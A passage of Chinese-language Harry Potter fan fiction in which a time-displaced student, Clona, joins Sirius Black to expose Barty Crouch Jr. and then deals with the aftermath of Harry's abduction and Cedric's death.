他偏了偏头,黑发的发梢随着他的动作晃了一下,他把双手放进裤子的口袋里。这个姿势让他显得很友善,也很放松。
就像他和克洛娜之前就认识一样。
“……”
两秒的停顿之后,布莱克眼中的笑意消失了。他注视着克洛娜的眼睛,问道:“你去哪了,克洛娜?”
24.第 24 章
布莱克显然认识她,而且并非是以伤风的身份认识她的。
因为直到哈利说出伤风的真实身份,克洛娜都不知道伤风竟然不是普通的流浪狗,那年她几乎没见过伤风,而建立起让布莱克问出“你去哪了”这种问题的熟络程度,就更是不可能了。
“你是怎么认识我的。”克洛娜说。
布莱克的眉头稍微皱了皱,身上散发出的友好和活力熄灭了,他变得严肃,双手也从裤子口袋里拿了出来,眼睛暗沉了下去,变得阴郁而空洞。
“我是小天狼星·布莱克。很高兴见到你。”
他低声自我介绍道。
“是的,我认识你。”克洛娜说,为了礼貌,她还是决定交换一下名字,“我是克洛娜·巴沙特。”
“你认识我。”布莱克说了个陈述句,“现在?你在上学?”
这下轮到克洛娜皱眉头了。
“我的第六学年刚结束。”她说,“你知道什么有关于我的事情?”
“是有一些。”布莱克扬起一边眉毛,刚才他眼中的那阵冷漠被一种漫不经心的感觉取代,他耸了耸肩,“这次你带来了什么新消息吗?”
“去年的我没有提起过神秘人会卷土重来?”
布莱克认真地看着她。
“什么时候?”他立刻说,并且毫不犹豫地问道:“你需要我帮你什么忙?”
这句话就像一剂强心剂。
她见过布莱克战斗时的样子,他强大敏捷,而且无所畏惧。可能是因为克洛娜知道布莱克的死期还没有到,她现在竟然没由来地感觉只要有布莱克在身边,任何一场战斗都会赢下来。
“小巴蒂·克劳奇,”克洛娜说,“他是一个食死徒,假扮成穆迪教授,在霍格沃茨潜伏,他准备在三强争霸赛的最后一场比赛把奖杯变成门钥匙,劫走哈利。”
布莱克像是嗅到猎物的狗一样浑身紧绷,警觉起来。
“你是说,克劳奇儿子还活着?”他说,“但是小巴蒂·克劳奇被关进阿兹卡班后病逝了,我看到他的尸体被抬了出去。”
“尸体被掉了包,我不清楚他们是怎么做的,但是小巴蒂·克劳奇喝了复方汤剂。真正的穆迪教授被他关起来了,他仍然为神秘人效命,并且打算复活神秘人。他还杀了他的父亲,就是那个魔法部的克劳奇。我刚刚看到假穆迪教授往禁林里去了。”
布莱克二话不说就相信了克洛娜说的话。
“好吧。”他说。
接着,他转身去山洞中拿出一个带提手的破旧行李箱,又将别在腰带上的魔杖握在手里,魔杖顶端也发出荧光闪烁的微光。
光芒照亮了他的黑发,布莱克看向禁林的方向,说道:“我们走,看看这个小巴蒂·克劳奇到底在捣什么鬼。”
他走在克洛娜的前方,从鬼影般的树丛中穿过,脚步飞快,如履平地。
克洛娜集中注意力应付森林里崎岖的岩石,很快,她的鼻尖就渗出细汗,感觉自己的肺腔被远远地落在了身体后面。布莱克仍然健步如飞,克洛娜过了很久才发现他们其实在小跑。
她和布莱克之间的距离逐渐拉大了,跟上布莱克的背影越来越费力。
就在她以为布莱克要带着她在禁林里跑到天亮时,前方的脚步忽然停顿住。
他们已经离霍格沃茨太远了,可能来到了霍格莫德北侧。
克洛娜感觉双腿像是灌了铅,她走上前,气喘吁吁,布莱克用提着行李箱的那只手挡了她一下,仍然警惕地看着前方。
“诺克斯。”他说。魔杖的光芒随后熄灭。
克洛娜也默念咒语,整个视野陷入一片黑暗。
布莱克好像发现什么了。
他压低重心,悄声前进,穿过灌木丛,继续往前走,脚步却并没有慢下来,如同伏击时飞速移动的掠食动物。
克洛娜紧张得不敢大口呼吸。
死一般的阒寂持续着,她听到自己加速的心跳在耳边发出震击耳膜的咚咚声,她什么都没看到,只能看到草丛中的布莱克。
蓦地,一道极快的绿光刺破黑暗。
布莱克忽然从草丛中起身,他举起魔杖,向摇曳的树丛劈出红色咒语,下一秒,另一道凌厉的魔法向他射去,布莱克一闪身,躲在树后,咒语打破了树皮,木屑飞溅,一个人影跌跌撞撞地跑过草丛。
克洛娜看到了复方汤剂失去效果的全过程。
穆迪教授的魔眼和木腿掉了下来,头发变成金色,像是稻草一样蓬乱,一个身材消瘦的男人陷入穆迪教授的斗篷中,肩膀的衣服塌陷下去,如同从水里捞出来的尸体一样沉重地挂在他的身上。
布莱克跳起来,冲了出去。
咒语的闪光宛如暴风雨中的雷电般点亮禁林。
他们都看到了对方的脸。
小巴蒂·克劳奇的目光阴冷至极,他憎恨地瞪了一眼布莱克。
就在这时,克洛娜的魔杖指向地面。
“地动山摇。”她大喊道。
整片地面剧烈摇晃,山石迸裂,树木倒塌,两层楼高的石块凭空出现,骤然升起,伫立在克劳奇面前,他的身影在翻滚的泥土中跌倒。
布莱克欣喜若狂地叫了一声:“漂亮!”
土地开始落回原处。布莱克的下一个咒语将克劳奇的斗篷点着了,他连滚带爬地躲闪着一个接一个的咒语,穆迪教授宽大的外套在他身上非常不合身,几乎成为他行动上的阻碍。
布莱克又用了一个威力强大的昏迷咒。
红色光辉直射向克劳奇的胸口。眨眼间,克劳奇所在的那片空间扭曲起来。他的整个身体都缩进真空中,随着一声清脆的爆响,“啪!”
克劳奇幻影移形了。
森林里弥漫着硝烟和土石的气味。
“让他给逃了。”布莱克飞快地说,他向克劳奇消失的方向走了两步,站在一片狼藉的土地上,查看周围的环境。
克劳奇一点都不恋战。
他所用的魔法狠辣无比,但是当他发现自己处于下风时,他立即选择了撤离。
“他一定是去给他的主子报信的,”布莱克回头说,“但是发现你跟踪他,想要在这里解决你,却没想到你还有帮手。”
“他去了哪——”克洛娜说。
“可能是东南方向。”
天边出现了一丝亮光,星辰和月亮仍然挂在苍穹上,森林茂密,枝丫繁茂,四面八方看起来都是一个样子,克洛娜完全不知道自己正在哪里。
小巴蒂·克劳奇跑了,他的伪装已经被揭穿。
但现在克洛娜又发现了另一个问题。
要是布莱克现在还是通缉犯,那么他的目击证词是无法向傲罗指挥部申请调查令的。
“布莱克先生。”克洛娜说,思考片刻究竟要不要问出口,“你现在还在被通缉吗?”
“是的,仍然是,这段时间我为了给哈利写信真是费劲了心机,差点就装成鬼魂去袭击猫头鹰邮局了。”<
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布莱克看起来对自己的处境浑不在意,甚至还开起了玩笑。
他继续说:“反正现在克劳奇已经跑了。我们最好去告诉邓布利多,你需要上课吗?你们最近在考试,是不是?我碰巧得去一趟霍格莫德,而且还知道几条通向霍格沃茨的密道。”
克洛娜忽然想起了罗恩的那只送错信的小猫头鹰。
“蜂蜜公爵地窖的那一条,还是尖叫棚屋的那一条?”
布莱克有点吃惊。
他的眼睛里露出一丝喜色,也是克洛娜自从见到他之后,他第一次真心实意地笑了起来。
“看来你的冒险精神不容小觑——你对打人柳下过手了吗?”
比起金妮、卢娜以及救世主三人组,她应该是最没有冒险精神的人了。克洛娜想道。
“没有。”她回答。
布莱克似乎并没有觉得她很无趣,他反而非常感兴趣。“但是你知道怎么通过打人柳。”
“按一下节疤。”
“说实话,你到底是怎么知道的?”布莱克说。
“猫头鹰飞错了地址……”克洛娜说,她不知道该怎么解释这件事,“好像……飞到了你的手里。”
布莱克恍然大悟道:“这样就说得通了!”
“是什么?”
“这个我不能说。”他笑着说,“不过你会知道的。让我们去霍格莫德吧,看在我帮了你的份上,帮我给哈利寄一封信怎么样?”
克洛娜发现布莱克其实是个非常健谈的人,而且脾气不错,不太介意同行的人是否沉默。
克洛娜甚至没有什么说话的机会。她一直在听布莱克随意地聊天。
布莱克问起克洛娜身上还剩下多少钱,克洛娜告诉他还剩下五个加隆左右。然后她就眼睁睁地看着布莱克从箱子里掏出一大袋金子,那个钱袋甚至用了无痕伸展咒。
“等一会我会变成狗,这些钱就放在你这里,你可以随便买点什么需要用的东西,还有我们的早餐——”
布莱克是这么说的。
克洛娜没有任何愧疚心地收下了钱袋。
其他聊天内容,大部分都是关于哈利的事情,和克洛娜记忆中的相差不大,三强争霸赛如期进行,第一场比赛是火龙,第二场比赛在黑湖底。
在她之前两次见到布莱克的时候,他都没有表现出来现在这样的好心情。不知道1995年这一年究竟发生了什么,让他变成了一个脾气不太好的人。
但是他可真有钱。
克洛娜想,自己如果能这么有钱,她的所有痛苦都会在数钱中灰飞烟灭。
等他们走到霍格莫德村,太阳已经完全升起来了。克洛娜饥肠辘辘,衷心希望蜂蜜公爵早点开门。就在她走神的时候,布莱克已经变成了一条巨大的黑狗,绕着圈在她身边小跑着。
时隔多年,克洛娜又见到了“伤风”。
不过,现在她已经无法再把伤风当成一条普通流浪狗了。
布莱克的尾巴翘着,放松地左右摇摆,吐着舌头的样子看起来很像微笑。每次他跑出去一段距离,就会看一眼后面跟着的克洛娜,而后调转回来,再继续跑向前。
这个时间,霍格莫德仍然很清冷。
石头铺成的路上只有几个早起去茱萸和毒菇店买新鲜植物的巫师。他们各自聊着天,克洛娜和黑狗从他们身边路过,他们丝毫都没有察觉到,悬赏一万金加隆的小天狼星·布莱克就在距离他们不到十英尺的地方。
25.第 25 章
给哈利和邓布利多分别寄完信,克洛娜就直奔蜂蜜公爵。
挑选糖果的时候,布莱克坐在两个货架的中间。
克洛娜怀里抱满了草莓奶油球、水果软糖以及果子露饮料,她低头看了一眼布莱克。但是布莱克仍然摆出一副狗特有的傻乎乎笑脸,真正将自己代入了一条普通黑狗的角色。
既然他没有表态,那就说明他并不觉得这些糖果太多了。
于是克洛娜又从货架上拿了几盒一直想吃但不舍得买的昂贵巧克力。
三把扫帚的早餐尽管没有霍格沃茨丰富,但是也有培根、香肠、煎蛋、吐司面包以及酸甜的焗鹰嘴豆。克洛娜挥了挥魔杖,将糖纸变成狗用的瓷盆,倒进去一大盘食物。
食物都混在一起之后,卖相变得有点糟糕。
“你需要什么食物魔法吗,伤风阁下?”克洛娜说,端着瓷盆问身边的黑狗。
布莱克用饥饿的目光看着她。
“算了。”克洛娜说,接着把盆放在布莱克面前。
她发现自己虽然研究了很多高等法术,但是对食物相关的魔咒却一窍不通。
布莱克却根本不嫌弃那一坨黏糊糊的东西,他把狗鼻子伸进盆里,大口咀嚼起来。
霍格莫德距离学校很近,哈利应该在早餐时就能收到猫头鹰。但是邓布利多所在的戈德里克山谷不知道有多远,克洛娜只在地址栏上写了戈德里克山谷的阿不思·珀西瓦尔·伍尔弗里克·布赖恩·邓布利多,希望这封信不会送错。
霍格莫德邮局的猫头鹰总不会像小猪一样。
克洛娜慢慢喝着果子露饮料。她戴上斗篷的帽子,遮挡住自己的一头金发,并且将帽檐拉的很低。
罗斯默塔女士在前台收拾着零钱,酒吧内有几只蜡烛静静燃烧,被明亮的阳光淹没。几个巫师一边喝茶一边嚼吐司面包,聊天的内容五花八门,从三强争霸赛的勇士到飞天扫帚管理控制局的某个员工得了疥疮。
现在留在三把扫帚是很好的选择。
因为酒吧和咖啡馆这样的场所通常都能偷听到大量消息,只要选择一个角落,安安静静地坐着,就没有人会来打扰。
布莱克吃完饭之后就趴在桌子腿旁边无所事事,他把脑袋搭在毛烘烘的爪子上,眼睛半眯着。但是克洛娜能看出,他也在专注地倾听,看是否能得到些有用的信息。
太阳的斜射角逐渐变大,一个小时过去了人,墙上的挂钟时针慢慢走向九点。
忽然间,酒吧外传来一片混乱,布莱克猛地抬起头。
三把扫帚的门被推开了。
几个看起来是魔法部来的人高举着魔杖。
“傲罗指挥部将这里封锁了!所有人都待在你们的座位上,把手放在桌子上,放在我们能看得到的地方!不要拿出魔杖,不要靠近门和窗户!”
他们留下了两个人镇守在酒吧门内,盯着每一个顾客,另外几个人飞奔而出,去封锁霍格莫德的其他店面。
三把扫帚中陷入短暂的恐慌。
“发生了什么?”
“怎么了——”
“梅林!”
“到底有什么事?”
布莱克站了起来,他的两只耳朵都转向前方,舌头也不吐了,灰色的眼睛里满是警惕。
克洛娜的指尖微微颤抖,惊慌的感觉攫紧她的心脏——要是他们发现了布莱克怎么办?这些都是傲罗,他们似乎全体出动了,要是查出布莱克是个阿尼马格斯,那一切都完了。布莱克会被抓回阿兹卡班,或者直接执行摄魂怪的亲吻。
她低头坐着,兜帽的阴影挡住她的大半张连,克洛娜死死盯着自己的鞋尖。
要么就跟这些人拼命吧。
这种事她也不是没有做过,只要跑得够快,他们就能去房子外面幻影移形。虽然她还不会幻影移形,但是布莱克作为一个成年男巫肯定已经掌握了这项技能,只要能逃出去——
下一秒,酒吧里的顾客忽然嚷嚷起来。
“你们这是在做什么!滥用职权?”
他情绪激动,并且下意识地去摸自己口袋里的魔杖。
“先生,把手放在桌子上!”一名年轻的傲罗走上前一步,严厉地大喊。
那个顾客被傲罗吓了一跳,他和身边的朋友迅速交换了一下鬼鬼祟祟的目光,接着鼓起勇气大喊道:“我需要你们出示执法证明,我妹夫可是国际魔法法律办公室的!”
克洛娜悄悄看过去。
“不要拿起魔杖!”傲罗说,“我警告你——”
傲罗的魔杖杖尖对准了两个人所在的桌子。
顾客看起来嘴唇发白,额头出汗,眼神惊慌失措,而且不顾警告,手还在向口袋里的魔杖伸去,看样子随时都有可能逃跑。
他的身边坐着他的朋友,是一个身材矮胖、满脸胡茬的男巫,看起来比他更紧张,正在用咬牙切齿的气音发出警告:“快坐下!卢多,他们不是为了那件事来的,坐下,看在该死的梅林的份上,别——卢多,卢多!”
矮个子的巫师弓着背,差点把自己蜷缩脏兮兮的大衣下方,他们面前放着两杯火焰威士忌,看起来是在商讨什么事情。
“卢多·巴格曼和蒙顿格斯·弗莱奇,真没想到会在这里见到你们。”
一名黑皮肤的傲罗走了进来,他拦住了年轻的傲罗。
克洛娜记得这个人叫金斯莱,也是凤凰社的成员。
金斯莱的魔杖挑了一下,矮胖巫师的大衣被魔法卷起,接着,一个散发着朦胧银光、极其精美的细长银色物件就从他的斗篷下方飞出来。
“路易十四时期的独角兽角,蒙顿格斯,你们竟然觉得三把扫帚比翻倒巷更安全了。”金斯莱说。
他的魔杖又移动到另一个人的身上,一袋金币飞了出来,落在他的手掌心里。
金斯莱用冷酷的目光注视着蒙顿格斯。
蒙顿格斯满头大汗地辩解道:“是假货!保准是假的——我们就是想来这里喝一杯,其余的什么都没有。卢多刚从爱尔兰回来,我总得招待一下朋友。”
“没事,你们可以去傲罗办公室招待,顺便把今天的事情明明白白地讲述一下。”金斯莱说。
“沙克尔!沙克尔——金斯莱!我们真的就只是来这里喝一杯,再说你想逮捕我也得需要证据呀,这个是假的!你看,这成色,这质地,怎么可能是真的!”
“这你不用担心,我会交给专业的鉴定人员。”
蒙顿格斯彻底慌了,他步履焦急的跑到金斯莱的面前。
“拜托了,网开一面,就这一次,我保证是最后一次了,以后你都不需要再见到我了,最后一次……我会走得远远的,金斯莱……”
金斯莱根本不为所动。
“把他们带走。”他说,“我不想再看到任何人妨碍执法。”
“妨碍执法?”蒙顿格斯捕捉到了关键词,“你们不是来抓倒卖的?你们根本都没有查到什么——”
“我查到了。”
金斯莱举起手里的独角
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兽角,挥了挥。蒙顿格斯仍然在耍赖挣扎。
“人赃俱获,慢走不送。”金斯莱说。
两个年轻的傲罗架起蒙顿格斯的肩膀,将他向后拖去,走出三把扫帚的同时幻影移形。
金斯莱转过身来,深色的眼睛扫过酒吧里的每个人。
“霍格沃茨遇袭了。”他朗声说。“我们需要各位配合我们的工作。”
他向酒吧内走了几步。
克洛娜连忙移回视线,重新让兜帽挡住自己的脸,一动也不敢动。
她的余光看到布莱克的尾巴绷直了,他像警戒中的警犬一样站着,阻挡在金斯莱和克洛娜之间的道路之间。
不会的。
绝对不会的。
克洛娜的大脑正在疯狂的转动。
不会的……
没有人知道布莱克的阿尼马格斯形态,他们必须一一筛查,对每个人用显形咒,直到轮到克洛娜……
这样就会给她和布莱克争取很多时间。布莱克最好不要变回人,这样他还可以用牙齿咬伤几个傲罗。
但是魔法部真的不知道吗,布莱克已经被通缉了两年了,魔法部还是没能弄清楚他究竟是怎么越狱的?对,他们绝对不可能知道——如果是过于危险的事情,布莱克应该不会把他们两个都害了,他带着克洛娜来霍格莫德,因为没有人知道他就是那条黑狗,所以他才能这样明目张胆。
金斯莱走得更近了。
“克洛娜·巴沙特?”他问道。
克洛娜拎起一点帽檐,从兜帽下抬起头,看向金斯莱的高大身影。
她发现自己的喉咙发紧,甚至声音都有些变调。
“是的?”
“我是按照邓布利多的吩咐来找你的,还有你的狗,”金斯莱说,“邓布利多需要你立刻去霍格沃茨。”
他转身问放下了手里所有的工作,正背靠酒柜的罗斯默塔女士。
“女士,请问可不可以借用一下三把扫帚的飞路网。”
……
克洛娜和布莱克一起出现在校长室的壁炉里。壁炉有些拥挤,黑狗结实的身体隔着长袍挨着她的腿,紧紧压住,力道沉重,如同热烘烘的岩石上盖了一层厚皮毛。
绿色的火焰熄灭后,邓布利多正在等着他们。
“小天狼星,你可以变回来了,”邓布利多严肃地说,“克洛娜,很高兴再次见到你,但现在不能叙旧了,哈利被带走了。小巴蒂·克劳奇伪装成了凯瑞迪。凯瑞迪现在可能已经遇害,一个学生被杀了。”
布莱克跳出壁炉,他的影子一晃拉长,双脚立刻站在地面上,变成人形。
他疾步走上前,十分焦急。
“哈利怎么了?”
“我们现在还不知道他的下落,我准备动身去找他。”
“哈利是怎么被带走的,赫敏和罗恩没和他在一起?”
“一个随机的门钥匙,哈利当时正在和勇士们交流最后一个项目,并且试图警告他们奖杯被调换了。康奈利和阿莫斯都正往这边赶过来。”
“我得去找他,邓布利多,让我和你一起去!”布莱克说,“哈利可能遇到了危险——”
“不,小天狼星,我需要你留在这里。傲罗正在全面搜索霍格沃茨周边地区,你很有可能暴露。”
克洛娜过了好久才找回自己的声音。
“被杀的是谁。”她问道。
邓布利多看向她。
“是赫奇帕奇的学生,塞德里克·迪戈里。”
26.第 26 章
为什么。
明明她已经把即将发生的事情都说了出来,为什么塞德里克·迪戈里还是会遇害,哈利还是会被门钥匙带走。
克劳奇应该已经跑了,他的身份已经被发现,可为什么他会折返回来。
克洛娜的呼吸和心跳都开始不受控制,恐慌像是一柄利剑一样直刺她的肺腑,她整晚没有睡觉,奔跑了太久,现在这个噩耗像是一记闷棍,迎头袭来,将她打得不知所措,甚至僵在壁炉中忘记了走路。
布莱克回过身,随手抓住她的手腕,将她拉出壁炉,像是拖拽一个没有生命的木偶。
克洛娜麻木地跟在布莱克的身后。
一个令人绝望的事实摆在她的眼前,此前她从没有如此真实地意识到,她的决定会产生她并不想看到的后果。
她只说出了克劳奇的伪装身份是穆迪教授,这样反倒给克劳奇提供了潜入霍格沃茨、靠近哈利身边的契机。所有人都在对穆迪教授设防,他们轻信了一个先知,对于即将发生的事情过于笃定,这样他们就抛弃了怀疑其中变数的能力,当他们的防备针对某一个地方,其他地方就会变得薄弱,也就给了克劳奇乘虚而入的契机。
塞德里克死了,而且还提前了几天,虽然时间不同,但是结果并没有任何改变。
一只长着金红色羽毛的大鸟站在校长室中的栖木上。同一个位置,去年还只有一只又小又丑的灰色小鸟。克洛娜沿着时间逆流而上,这只鸟却在逆向的时间中长出了羽毛——原来它有羽毛的时候这样美丽。
这是一只凤凰。
据说凤凰的眼泪能治愈所有伤口。
凤凰能治愈死亡吗?
就连时间都挽救不了死亡。如果克洛娜没有说出这件事,也没有跟踪克劳奇以至于打草惊蛇,那么塞德里克或许不会死。
为什么她只能每年回溯一次,而不是每小时、每天或者每周回溯一次……
那样的话,她可能也做不到挽救任何人的生命。上一次回溯时,她就没能成功,这一次又有什么区别呢。
“这是我的错。”邓布利多冷静地说,他仿佛看穿了克洛娜心中所想,“是因为我没有预料到克劳奇会铤而走险,伪装成另一个人。他是趁着我找到阿拉斯托·穆迪时发动了袭击,带走了哈利——当务之急是找到哈利,克洛娜,其他的我们之后再谈。”
布莱克依然攥着克洛娜的手腕,他的手抓得很紧,灰色的眼睛死死盯着克洛娜。克洛娜的骨头开始钝痛,但她不在乎。
“你知道哈利在哪里吗,克洛娜?”布莱克问。
她并不知道哈利被带去了哪里。
报纸上没有写过,她也从来没有问过。乌姆里奇占领霍格沃茨的那一整年,魔法部都在不遗余力地否认伏地魔已经复活的事实,他们更不可能说出伏地魔究竟是在哪里复活的。
“伏地魔复活时必定会召集食死徒。”邓布利多说,“我们还有人手。”
“等等——”克洛娜说。
邓布利多和布莱克都看向她。
她不知道哈利被带去了哪里,她知道魂器。
“魂器。”克洛娜说,“伏地魔有魂器——无论魂魄被分裂到怎样的容器中,都是与当时的灵魂相等的,炼金术复活魂器需要用到的是什么,伏地魔这次就需要什么……”
邓布利多的神态微微变化。
“福克斯,跟我来。”他快速向门口走去,召唤那只凤凰,并且向小天狼星嘱托道:“你们留在这里。”
金红色大鸟张开翅膀,飞了过去。
校长室的门咯吱一声关上,邓布利多的身影消失在后方。
接下来的时间中,布莱克坐立不宁,他把那个随身带着的手提箱放在地面上,接着就在校长室里来回转圈,屡屡徘徊到门口。
克洛娜背着手,后背紧贴墙边。
她低头盯着脚边的某个银质占星术仪器发愣。
头发垂到她的脸颊两侧,遮住她的大部分视线,她什么都做不了,只能在这里等待。
失败的焦灼形成了一层无形的屏障,宛如时间厅中的魔法囚笼。
她粗心大意地遗漏了细节,她可能根本不是一个拉文克劳,以至于做出的决定都如此笨拙,不够聪慧,也不够明智,并且无法再重来一次了。这次的门钥匙甚至不是奖杯,哈利要怎样回到霍格沃茨呢?麻瓜研究课的凯瑞迪·布巴吉教授在克洛娜以前经历过的时间中还活得好好的,而现在却生死未卜。
邓布利多找错人了,她根本就不是能帮助凤凰社战胜伏地魔的那个人,邓布利多应该再想个别的办法。过早地告知邓布利多有关于魂器位置的信息会引来怎样的结局?伏地魔要是将戒指的位置转移了呢?
掉进时间漩涡后的任何抉择都如同蝴蝶扇翅,可能整个未来都会因此而变得更糟糕——伏地魔掌权,霍格沃茨沦陷,很多人都会消失……
她做不到改变整个历史,她连改变自己的命运都做不到。
“他们会没事的。”布莱克站在房间的另一头,忽然开口说道,“别担心,邓布利多会保护好哈利。”
克洛娜感觉很疲惫,她应付地点了点头。
布莱克已经走了过来,他抬起手,握住克洛娜的肩膀,轻轻捏了捏。
温度从布莱克宽大的掌心传来,他的目光认真而恳切,别在耳朵后方的黑发向前垂落几缕。
就像在神秘事务司的那天晚上一样。
克洛娜的心脏收紧了。
这样下去不仅塞德里克会死,布莱克也会死。
“听着,”布莱克试图让她看着他的眼睛,“克劳奇才是我们要对付的人。”
“不,你不明白。”
“我能明白。”
“我跟你们不一样……”克洛娜说。
她没有邓布利多的强大法力,没有哈利那样的决心和善良,也没有金妮的机敏和勇敢。她不是什么有名气的大法师,或许她应该找一个与世隔绝的小屋自生自,只要她不需要和人交流,时间流逝的方向与别人不同也没什么大不了。
布莱克摇了摇头。
“带走哈利的人不是你,”他坚定地说,“你已经做的很好了,你告诉了我们克劳奇伪装成疯眼汉,并揭穿他的身份,现在穆迪得救了。”
他刚说完这句话,校长室的门就再次被推开,哈利和邓布利多走了进来,那只凤凰停在邓布利多的肩膀上,收拢美丽的羽毛。
布莱克像离弦的箭一样飞奔到哈利身边。
“你还好吗,哈利?”他抓住哈利,急切地问道,“怎么浑身都是血,你受伤了?”
哈
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利惊魂未定,而且精疲力竭。
布莱克现在看起来像个教父了,他托起哈利沾满血迹的手臂往校长室里走,目光关切而紧张,就像任何父母找到了失而复得的孩子一样。
哈利比克洛娜上次见面时年龄更小。
他留着一头黑色乱发,长袍撕毁了,手臂的夏季长袍上有一大道口子,像是被某种利器划破的,眼镜有点歪。
“福克斯把我治好了。”哈利对布莱克说,接着,他忽然发现校长室里还有其他人,脚步停顿了一下。
克洛娜仍然靠墙站着,哈利的目光充满陌生以及疑惑。
布莱克顺着他的目光抬起头,也看向克洛娜。
“这是克洛娜·巴沙特,她和小天狼星一起来的。”邓布利多解释道。
克洛娜的心底泛起一丝苦涩。
四年级的哈利并不认识她,就像她从金妮和卢娜的记忆中走失了一样。赫敏大概也不知道她是谁,往日在她身边的人正在一个接一个地离开,她原本应该比哈利小一岁,现在她比哈利大一岁了。
“你好,哈利。”克洛娜说。
“你好。”
哈利只回了一个词。他的声音了无生气,在亲眼目睹了同学的死亡以及伏地魔复活后,他没有因为恐惧而精神失常,并且还能凭借强大的意志力移动自己的身体都是个奇迹。
邓布利多说,克劳奇是通过一个叫做“闪闪”的家养小精灵的帮助潜回霍格沃茨的。麦格教授在魁地奇球场的迷宫附近找到了凯瑞迪·布巴吉的尸体,被施了夺魂咒的克鲁姆正在附近漫无目的地游荡。
而哈利被带去了小汉格顿的汤姆·里德尔的墓地,并且在伏地魔对他念出阿瓦达索命咒的那一刻触发了闪回咒。邓布利多随后赶到,却被伏地魔提前察觉。
伏地魔逃走了。
“克劳奇呢?”布莱克忽然问。
“我把他和哈利一起带了回来。”邓布利多回答道,“在吐真剂的作用下他已经交代了所有的事情,包括他杀死了他的父亲。审讯花了一些时间。”
接下来,哈利住进了医院,庞弗雷女士给他做了各种检查,确保他平安无事。
同样住进校医室的还有昏迷不醒的穆迪。
布莱克再次变成黑狗,寸步不离地跟在哈利的身边。邓布利多准许他留在校医院里,而后就去处理魔法部相关的事情了。
而克洛娜像个幽灵一样,在距离病床很远的地方停住脚步。
因为罗恩和赫敏很快就跑进了校医室。
他们神情紧张地看着哈利。
罗恩犹豫了很久,最后说道:“哈利,我们担心坏了。”
“是啊。”赫敏说。
“但是你先休息。”罗恩说。
“我们会一直在这里。”赫敏说。
哈利的绿色眼睛像是结冻的湖水,每个人跟他说话,他都要反应很久,像是大脑已经超负荷运转。
夕阳洒满校医室,庞弗雷女士小声提醒道:“别在这里打扰病人——”
“我们保证不会发出声音。”罗恩说。
克洛娜也有点想出去了,她留在这里毫无意义。
她向后退了几步,靠近校医室的门,布莱克变成的黑狗察觉到她离开的脚步声,转过头看她,但是并没有跟上来。
27.第 27 章
对于溜进偷偷溜进魔药储藏室,克洛娜早就轻车熟路了。
她从一排瓶罐中挑出薰衣草和滴弗洛伯毛虫黏液,而后带着魔药材料穿过霍格沃茨不停变动的楼梯。
楼梯上有很多学生。
克洛娜还穿着学校的斗篷,混入人群中并非难事。
大家在小声谈论有关那场袭击的事情,布斯巴顿的芙蓉·德拉库尔并不在场,除了哈利之外,就只有塞德里克、克鲁姆两人。一些不合实际的谣言快速传播起来,有些人认为是哈利袭击了克鲁姆和塞德里克,然后畏罪潜逃。克洛娜在人群中捕捉到金妮的声音。
“哈利还在上四年级!一群不长脑子的家伙。”
“迪戈里怎么办?”迈克尔·科纳说,“难道他们想就此揭过这件事吗。”
金妮的声音冷冷的,充满怒火。
“看来他们想栽赃给哈利了。”
比起另外三个学院,赫奇帕奇学院的气氛十分低迷,塞德里克是个很受欢迎的人,整个赫奇帕奇都沉浸在悲伤中。
而斯莱特林则拒绝相信伏地魔死而复生。
魔法部部长福吉带着几个人从主厅匆匆路过,周围的气温跟着骤降,学生们都驻足下来,惊恐地发现摄魂怪腐朽、破败的黑斗篷在霍格沃茨走廊里飘荡。
走在福吉身边的人其中有个红发的年轻人,还有个身穿定制斗篷的,戴着帽子,有点上了年纪的巫师。
像是被一桶冰水从头淋到脚,克洛娜打了个寒噤。
比摄魂怪带来的寒冷更加恐怖的事情,是看到一双死灰般灰绿色的眼睛。
法弗纳尔·莱斯特兰奇。
克洛娜的脚步绊了一下,几乎是反射性地想要逃跑。她躲向楼梯下方,在心里祈祷,不要看到她,一定不要看到她……
法弗纳尔的眼睛扫过一片肃然的学生,从克洛娜所在的方位移开了,他的眼睛和摄魂怪吐出的寒气没有什么区别,即便那些不认识他的学生,也在他震慑的目光下噤若寒蝉。
这一年,法弗纳尔并不知道有克洛娜这个人的存在。
他挥了挥魔杖,让脚边散发着银色光辉的眼镜蛇守护神跟上他的步伐,驱赶摄魂怪。
待魔法部的人走光之后,克洛娜长吐了一口滞在胸腔里的冷气。
她回头,又望了望那个方向,而后向有求必应屋快步走去——只有这个房间是她的避难所,在这里她可以不受任何人打扰,也不会被人发现,又或者被命运推着,不得不去做她根本做不到的事情。
久违的安静包裹住她。
克洛娜喝下无梦酣睡剂,摘下眼镜扔到床头柜上,倒向柔软的床垫,沉沉睡去。
直到布莱克的黑发出现在她的视野里,并晃醒了她。
“醒醒,”布莱克压低声音说,像是生怕吵到什么人,“我们该走了。”
“什么……”
克洛娜睁开眼睛。她惊愕地发现布莱克就站在她的床边,她还以为自己在做梦。
“伏地魔回来了,”布莱克说,“福吉表态魔法部不打算相信这回事,我们只能靠自己了,就和过去的日子一样。邓布利多派我们去召集凤凰社的成员,重组凤凰社,我们要去找莱姆斯,他在因弗尼斯南边的一个巫师小镇里藏身。”
克洛娜猛地一下坐了起来。
“布莱克先生?你是怎么进来的……”克洛娜实在是太过于震惊,“你是怎么知道这里的?”
布莱克得意地笑了起来。
“这么说吧,霍格沃茨还没有哪一处密室是我没有发现过的。”
哦,也并不奇怪。
哈利几年前把D.A.的训练基地设置在有求必应屋,肯定是他的教父告诉他这间密室的。
但是现在应该考虑的问题不是这个。
“你说的邓布利多派我们去是什么意思?”克洛娜问道。
而且是找卢平教授。
“就是你和我,克洛娜。用不了多长时间,我们很快就能回来。我已经躲了太长时间了,现在是尽自己的一份力量的时候了。”
“……任务是找到卢平教授?”
布莱克摸了摸下颚的胡茬。
“是的,莱姆斯寄的上一封信说他正在对付一窝泥怪,镇子里的人都恨透了这些东西,春季之后泥怪开始活跃,他们肯定巴不得有个旅行巫师深入地下湖泊帮他们清理,这不会是什么很轻松愉快的活儿,我们到当地问问肯定能追踪到到他留下的痕迹。”
找卢平教授。布莱克一个人也能完成。
“为什么是我?”克洛娜说。“我是说——我还是个学生,我得留在霍格沃茨,不然我怎么毕业啊?”
布莱克停顿了几秒。
看得出,他此前并没有问邓布利多这个问题。
“我想邓布利多总有办法让你学到N.E.W.T.的知识,”他思考着说道,兀自向有求必应屋里走了两步,像是对这里的陈设很不满意,“除非你想在这个小房间里被困一整个暑假。”
“……”
可是去年她就是这么过的。
准确的说……
在神秘事务司事故之前,她的每年暑假都是这么过的。
